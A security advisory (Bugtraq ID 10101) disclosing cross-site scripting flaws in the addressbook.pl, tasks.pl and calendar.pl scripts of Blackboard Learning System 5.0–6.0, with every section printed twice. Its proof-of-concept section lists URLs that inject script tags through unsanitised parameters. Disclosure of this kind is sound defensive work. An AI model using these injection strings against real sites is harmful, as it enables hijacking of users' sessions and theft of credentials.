Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
BID:10101
Info
Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 10101 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 12 2004 12:00AM |
| Updated: | Apr 12 2004 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to DarC KonQuesT <[email protected]>. |
| Vulnerable: |
Blackboard Blackboard 6.0 Blackboard Blackboard 5.5.1 Blackboard Blackboard 5.5 Blackboard Blackboard 5.0.2 Blackboard Blackboard 5.0 |
| Not Vulnerable: | |
Discussion
Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
Blackboard Learning System has been reported prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly validate user supplied URI input.
The first issue is reported to affect the "addressbook.pl" script. The second issue is reported to affect the "tasks.pl" script. The third issue is reported to affect three URI parameters, of the "calendar.pl" script.
In all cases the user-supplied parameters are not sufficiently sanitized prior to being rendered in the browser of the target user.
These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
Blackboard Learning System has been reported prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly validate user supplied URI input.
The first issue is reported to affect the "addressbook.pl" script. The second issue is reported to affect the "tasks.pl" script. The third issue is reported to affect three URI parameters, of the "calendar.pl" script.
In all cases the user-supplied parameters are not sufficiently sanitized prior to being rendered in the browser of the target user.
These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
Exploit / POC
Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
The following examples have been supplied:
http://www.example.com/bin/common/addressbook.pl?action=ADD&nav=my_addressbook&course='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/tasks.pl?action=c&display=T.subject&filter=--!!all&course_id=&render_type='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?course_name=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?courseID=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?subroutine=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
The following examples have been supplied:
http://www.example.com/bin/common/addressbook.pl?action=ADD&nav=my_addressbook&course='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/tasks.pl?action=c&display=T.subject&filter=--!!all&course_id=&render_type='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?course_name=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?courseID=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?subroutine=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
Solution / Fix
Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Blackboard Learning System Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- Blackboard Homepage (Blackboard)